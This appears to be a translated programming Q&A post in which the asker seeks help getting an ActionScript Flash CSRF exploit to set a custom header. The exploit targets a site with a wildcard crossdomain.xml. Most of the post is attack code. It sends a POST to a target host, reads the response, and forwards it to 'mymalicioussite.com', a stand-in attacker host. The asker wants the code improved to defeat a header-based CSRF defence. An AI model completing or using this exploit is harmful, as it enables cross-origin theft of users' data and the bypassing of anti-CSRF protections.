【发布时间】:2017-08-18 22:30:37
【问题描述】:
我有一个具有弱 CrossDomain.xml 的目标,但它可以防止 CSRF 攻击查看自定义 HTTP 标头之一。我在几个网站上发现了以下动作脚本,除了没有设置标题之外,它运行良好。
此操作脚本向“Target.htm”发送一个 POST 请求,我需要它来设置任何自定义标头,例如 Test-Header:
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
目标上的CrossDomain.XML:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
任何帮助将不胜感激。 带有 GET 请求而不是 POST 的工作代码也可以作为目标同时接受 GET 和 POST 请求。据我所知,仅允许使用 POST 请求设置自定义标头,但带有任何标准 HTTP 标头的 GET 请求至少现在对我有用。
【问题讨论】:
标签: actionscript csrf actionscript-2 crossdomain.xml